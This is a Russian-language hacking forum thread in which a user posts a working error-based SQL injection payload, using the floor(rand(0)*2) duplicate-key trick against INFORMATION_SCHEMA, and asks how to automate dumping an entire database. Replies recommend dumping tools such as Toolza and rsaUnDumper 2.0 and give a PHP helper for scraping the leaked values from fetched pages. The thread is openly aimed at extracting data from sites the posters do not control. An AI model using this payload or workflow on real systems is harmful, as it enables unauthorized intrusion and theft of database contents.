Чем не напрягаясь можно получить дампнуть базу через Error Based SQLi?

[fl00der]

Собственно ситуация, имеется запрос вида


id=-1+or+(select+count(*)+from+(select+1+union+select+ 2+union+select+3)x+group+by+concat((SELECT+TABLE_N AME+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1),floo r(rand(0)*2)))+--+


Инфа выдается нормально.

Но в базе уйма таблиц, и сидеть менять это число не очень прикалывает.

Есть ли какой-нидь скрипт/софт, который бы просто прокрутил limit и выдал результат?

Спасибо.

[Konqi]

уже 100 раз обсуждали, toolza

[qaz]

[trololoman96]

нахрена в слепую делать 1к запросов ?)

[qaz]

нахрена в слепую делать 1к запросов ?)


да незачем, методом тыка в 2-3 запроса посмотри сколько всего там значений выводится значений и можно парсить

[<Cyber-punk>]

Toolza от Пашкеллы тебе в помощь!

Да, и лучше используй такую функцию, чтобы парсить страничку:



functionex($string,$from,$to)

{

$string=explode($from,$string,2);

$string=explode($to,$string[1],2);

return$string[0];

}

// В $input - полученная курлом страни ца.

$answ=ex($input,'','');// Выведет то что между ним и

[Pirotexnik]

Есть ли какой-нидь скрипт/софт, который бы просто прокрутил limit и выдал результат?
Спасибо.


Да, rsaUnDumper 2.0

Предназначен для дампа по лимиту (или заданым значениям перебора)